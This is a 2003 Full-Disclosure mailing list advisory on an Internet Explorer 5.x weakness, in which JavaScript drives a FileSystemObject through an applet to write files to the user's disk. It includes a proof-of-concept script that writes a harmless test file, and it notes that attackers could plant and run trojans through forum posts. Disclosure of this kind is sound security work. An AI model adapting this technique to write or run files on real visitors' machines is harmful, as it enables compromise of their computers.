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From: freebrain at softhome.net (FREEBRAIN) Subject: Internet Explorer JavaScript insecure function * Internet Explorer JavaScript insecure function * Product: Microsoft Internet Explorer Version: 5.x (probabily other versions may be affected) *** Problem: I discovered a javascript function (interpreted by Internet Explorer) called "file.writeline()" may be potentially dangerous for Internet Explorer users. This function allows to write files by means of JavaScript on a hard disk. An attacker may use this function writting JavaScript code in posts of forums, guestbooks, etc for owning his victim's computers. With "file.writeline()" function the attacker can write trojans/virus/etc on his victim's hard disks, for example, an attacker may use JavaScript "file.writeline()" function for writting a malicious file in VBS (Visual Basic Scripting) language. I repeat, this may be potentially dangerous for Internet Explorer users. NOTE: Actually a virus in the wild that affects to mIRC users is using this function ("file.writeline"). NOTE2: As you can see on the "Proof of concept", other functions are needed to carry out an "intrusion". *** Proof of concept: InterfaceObject=document.applets[0]; setTimeout("Write()",1000); function Write() { fsoClassID="{0D43FE01-F093-11CF-8940-00A0C9054228}"; InterfaceObject.setCLSID(fsoClassID); fso = InterfaceObject.createInstance(); // windir = fso.getspecialfolder ; filename = "\\proof.txt"; var filecontent = "Hello world"; file = fso.opentextfile(filename, "2", "TRUE"); file.writeline(filecontent) file.close(); } This code writes a file called "proof.txt" in the hard disk, with the content "Hello world". Also you can execute files you write by means of JavaScript adding "Run();" to the function. *** Solution: I'm not sure about the solution but I recommend to upgrade to the last version of Internet Explorer. Also I recommend webmasters to forbid HTML codes that content this function in their forums, guestbooks, etc. *** Thanks to: #disidents,#hackers @ irc-phoenix.org #disidents,#sleepx,#ayuda_internet @ irc-hispano.org Special thanks go to: Impos (sorry my poor english) *** By FREEBRAIN FREEBRAIN is a member of DisidentS Hacker Team http://disidents-team.cjb.net (under construction) - http://www.gratisweb.com/disidents <freebrain@...adoo.es> -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031207/d9a9d53f/attachment.html
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